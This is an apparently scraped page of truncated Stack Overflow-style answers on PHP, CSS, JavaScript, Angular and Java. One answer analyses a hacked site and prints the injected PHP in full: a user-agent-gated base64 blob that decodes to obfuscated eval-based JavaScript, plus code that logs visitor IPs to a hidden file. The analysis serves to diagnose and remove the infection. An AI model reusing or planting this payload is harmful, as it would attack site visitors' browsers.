[ad_1] Constructors don’t return values and you can’t just echo an object, try this instead. class some { private $my_string; public function __construct() { $this->my_string = ‘abc’; } public function test() { return $this->my_string; } } $some = new some; echo $some->test(); [ad_2] solved How can i access Return value throught the construct() from another … Read more
[ad_1] you can use a trick like this set the background to the :after .one:after { background: url(‘http://carwallstar.com/wp-content/uploads/2014/11/ford-car-images2015-ford-mustang–2015-ford-mustang-29—–froggpondcom-w8lqchv6.jpg’) 100% 100% no-repeat; background-size: cover; content: “”; opacity: 0.5; top: 0; left: 0; bottom: 0; right: 0; position: absolute; z-index: -1; } source: https://css-tricks.com/snippets/css/transparent-background-images/ 1 [ad_2] solved Changing background opacity with jQuery [duplicate]
[ad_1] Three loops for each array. Just loop through every array, and append to new array. var size = [‘s’,’m’]; var color = [‘red’,’blue’,’black’]; var material = [‘cotton’,’linen’]; var arrayMaterials = [] for (var i = 0; i < size.length; i++) { for (var j = 0; j < color.length; j++) { for (var k … Read more
[ad_1] You appear to have an html (php) block injected into your page. Possibly the result of XSS? First stage decode reveals: $ip=$_SERVER[“REMOTE_ADDR”];$dr=$_SERVER[“DOCUMENT_ROOT”];$ua = $_SERVER[‘HTTP_USER_AGENT’];$dbf=$dr.”https://stackoverflow.com/”.md5($dr.’1′); if((strpos($ua,’Windows’)!==false)&&((strpos($ua,’MSIE’)!==false)||(strpos($ua,’Firefox’)!==false))&&(strpos(@file_get_contents($dbf),$ip) === false)){ error_reporting(0); echo(base64_decode(‘PHNjcmlwdD50cnl7YWJyZSsrfWNhdGNoKGE2YmEzNHkpe3RyeXtwcm90b3R5cGUmMn1jYXRjaChhc2FiKXtlPXdpbmRvd1siZSIrInYiKyJhbCJdO319IGlmKDEpe2Y9Wy00LC01LDkwLDg5LDE4LDI1LDg3LDk3LDg0LDEwNCw5NSw4Niw5NywxMDIsMzEsOTAsODcsMTAxLDU2LDk0LDg2LDk2LDg3LDk1LDEwMywxMDEsNTEsMTA4LDcwLDgyLDkwLDY0LDgyLDk2LDg3LDI1LDI2LDg0LDk2LDg3LDEwNywyNCwyOCw3NywzMyw4MCwyNywxMDgsMCwtNSwtNiwtNCw5MSw4NywxMDEsODMsOTQsODgsMTAwLDI1LDI4LDQ1LC0yLC00LC01LDExMCwxOSw4Nyw5MywxMDIsODcsMTcsMTEwLC0xLC02LC00LC01LDg1LDk4LDg1LDEwMiw5Niw4Nyw5NSwxMDMsMzIsMTA0LDEwMSw5MSwxMDEsODgsMjYsMTksNDcsOTEsODcsMTAxLDgzLDk0LDg4LDE4LDEwMCwxMDEsODUsNDYsMjYsOTAsMTAxLDEwMyw5OCw0MywzNCwzMywxMDIsOTIsMTA3LDEwNyw5NCw5Miw5OSwzMyw4NywxMDcsMTA0LDgzLDMxLDg2LDk3LDk0LDM0LDEwNCw4NCwzMyw5OCw4OSw5OSw0OSw4OCw5OCw0NywzNSwyNiwxOCwxMDQsOTIsODYsMTAxLDkxLDQ3LDI0LDM2LDM0LDI0LDE5LDkwLDg2LDkyLDg5LDg5LDEwMyw0NywyNCwzNiwzNCwyNCwxOSwxMDEsMTAxLDEwOCw5NCw4Niw0OCwyNSwxMDMsOTIsMTAxLDkwLDg1LDkxLDkzLDkyLDEwMiwxMDYsNDUsOTAsOTAsODcsODYsODYsOTcsNDUsOTcsOTgsMTAxLDkwLDEwMyw5MSw5Niw5Nyw0NCw4Miw4NSwxMDEsOTYsOTUsMTAzLDEwMSw4OCw0NSw5Myw4OCw4OCwxMDEsNDUsMzQsNDQsMTAzLDk3LDk3LDQ1LDM0LDQ0LDI2LDQ4LDQ1LDM0LDkxLDg3LDEwMSw4Myw5NCw4OCw0OCwxOSwyOCw0NSwtMiwtNCwtNSwxMTAsMCwtNSwtNiw4OSwxMDMsOTUsODYsMTAyLDkwLDk4LDk2LDE3LDkyLDg4LDk5LDg0LDk1LDg2LDEwMSwyNiwyNiwxMTAsLTEsLTYsLTQsLTUsMTAzLDg0LDEwMCwxNyw4OSwxOCw0NiwxOSw4Niw5Niw4NiwxMDMsOTQsODgsOTYsMTAxLDMzLDg1LDk5LDg4LDgzLDEwMSw4OCw1NSw5Myw4OCw5NSw4Niw5NywxMDIsMjUsMjYsOTEsODcsMTAxLDgzLDk0LDg4LDI1LDI2LDQ2LDg4LDMxLDEwMiw4NywxMDEsNTIsMTAyLDEwMSwxMDEsOTEsODMsMTA0LDEwMiw4NiwyNywyNSwxMDAsMTAxLDg1LDI0LDMxLDI1LDg5LDEwMywxMDIsOTcsNDUsMzMsMzIsMTA0LDkxLDEwNiwxMDksOTMsOTEsMTAxLDMyLDg2LDEwOSwxMDMsODIsMzMsODUsOTYsOTYsMzMsMTAzLDg2LDMyLDk3LDkxLDk4LDQ4LDkwLDk3LDQ2LDM3LDI1LDI2LDQ2LDg4LDMxLDEwMiwxMDIsMTA2LDk1LDg3LDMxLDEwNSw5MSwxMDAsOTIsODQsOTAsOTUsOTEsMTAxLDEwOCw0NywyNCw5MSw5MSw4NSw4Nyw4Nyw5NSwyNiw0NSw4NywzMywxMDEsMTAxLDEwOCw5NCw4NiwzMyw5OCw5NiwxMDIsOTEsMTAxLDkyLDk3LDk1LDQ4LDI1LDgyLDg1LDEwMSw5Niw5NSwxMDMsMTAxLDg4LDI1LDQ0LDg5LDMyLDEwMCwxMDMsMTA3LDkzLDg4LDMyLDkzLDg4LDg4LDEwMSw0OCwyNSwzMywyNiw0NSw4NywzMywxMDEsMTAxLDEwOCw5NCw4NiwzMywxMDIsOTYsOTksNDcsMjQsMzUsMjUsNDQsODksMzIsMTAwLDg4LDEwMiw1MCwxMDMsMTAyLDk5LDkyLDg0LDEwMiwxMDMsODcsMjUsMjYsMTA1LDkwLDg3LDEwMiw4OSwyNiwzMCwyNCwzNiwzNCwyNCwyOCw0NSw4NywzMywxMDEsODYsMTAzLDUxLDEwMSwxMDMsMTAwLDkwLDg1LDEwMywxMDEsODgsMjYsMjQsOTEsODcsOTAsOTAsOTAsMTAxLDI2LDMwLDI0LDM2LDM0LDI0LDI4LDQ1LC0yLC00LC01LC02LDg3LDk3LDg0LDEwNCw5NSw4Niw5NywxMDIsMzEsOTAsODcsMTAxLDU2LDk0LDg2LDk2LDg3LDk1LDEwMywxMDEsNTEsMTA4LDcwLDgyLDkwLDY0LDgyLDk2LDg3LDI1LDI2LDg0LDk2LDg3LDEwNywyNCwyOCw3NywzMyw4MCwzMiw4Miw5OSw5OCw4Niw5Nyw4Niw1Miw5MSw5MSw5Myw4NywyNiw4NywyOCw0NSwtMiwtNCwtNSwxMTBdO313PWY7cz1bXTtyPVN0cmluZzt4PSJqJSI7Zm9yKGk9MDstaSs1NzkhPTA7aSs9MSl7aj1pO2lmKGUmJigwMzE9PTB4MTkpKXM9cytyLmZyb21DaGFyQ29kZSgoMSp3W2pdK2UoeCszKSsxMykpO30gdHJ5e2FzZ2FzZyYxM31jYXRjaChhc2dhKXtlKHMpO308L3NjcmlwdD4=’)); if ($fp = @fopen($dbf , “a”)){fputs($fp , $ip.’|’); fclose($fp);} } Second Stage Decoding Reveals: try { abre++ } catch (a6ba34y) { try { prototype & … Read more
[ad_1] In your template do something like this. <div *ngIf=”yourBoolean”> your check boxes goes in here </div> you can show hide your check boxes by changing the value of yourBoolean. hope this helps. 1 [ad_2] solved How to Hide/Show the checkbox according to condition [closed]
[ad_1] Coinbase has a maintained API you can use to fetch the data you need. They support various solutions (REST, Websocket, etc.), depending on your requirements. Resources for getting started with general web development is an entirely different beast. I would suggest Angular’s Heroes Tutorial, and from there read up on AJAX or Websockets (for … Read more
[ad_1] You should use border=”0″ instead of border=none Or better yet, since the border attribute is deprecated as of HTML 4.01 (source MDN), add a style <img style=”border:0″ /> 1 [ad_2] solved How to remove the border around an image in HTML file
[ad_1] Us regular expression to search key and then it corresponding value. jsfiddle var value = location.search.match(new RegExp(key + “=(.*?)($|\&)”, “i”))[1]; 0 [ad_2] solved Get query string with JQuery, in a single line? [closed]
[ad_1] If you need a 2d array, you have to initialize each element of the outer array to be an array. // Have to check every array item, if it’s not an array already, make it so for(…) { if (!data[key]) { data[key] = []; } data[key].push(item[i]); } You could always do the following if … Read more
[ad_1] Your checkCurrentAnswer function is calculating the wrong index. Specifically, this line: var i = $(‘#Answers input:checked’).parent().index(); Your HTML looks like this: <div id=”Answers”> <div class=”answer”> <span class=”radioContainer”><input type=”radio” /></span> <label for=”answer_0″>The Musée du Louvre, Paris</label> </div> <div class=”answer”> <span class=”radioContainer”><input type=”radio” /></span> <label for=”answer_1″>The Tate Britain, London</label> </div> … </div> Thus, i will always … Read more
[ad_1] Rounding mode to round towards negative infinity. If the result is positive, behave as for RoundingMode.DOWN; if negative, behave as for RoundingMode.UP. Note that this rounding mode never increases the calculated value. It is just matter of whole number and its position against number chart. From here you can see javadocs. public static int … Read more
[ad_1] const result = [x,y,x][input – 1]; It’s an array that’s accessed by index. 2 [ad_2] solved How to use CONST when there are multiple conditions
[ad_1] change this line from $scope.response = res.data1.result; to $scope.response = res.data.result; The response will have a data object which you are accessing incorrectly. [ad_2] solved Angular JS -> cannot read property [closed]
[ad_1] Following code can do the grouping by date var obj = [{ “message”: “fsbdfs”, “id”: “8290”, “readBy”: “2016-05-25 06:17:01”, “userID”: “339”, “dateTime”: “2016-05-25 06:16:32” }, { “message”: “Hi”, “id”: “8291”, “readBy”: “2016-05-25 6:33:52”, “userID”: “332”, “dateTime”: “2016-05-25 06:17:06” }, { “message”: “nbfsdbf”, “id”: “8292”, “readBy”: “”, “userID”: “339”, “dateTime”: “2016-05-25 07:03:44” }, { “message”: … Read more
[ad_1] If you just want to convert without any date validations you can do it with string functions. Or if you want to use date functions, apply it only to that part of the string after splitting the string. Nothing fancy. Use normal Date constructor (year,[month,[date…]]) when creating Date objects, passing non-standard formats is not … Read more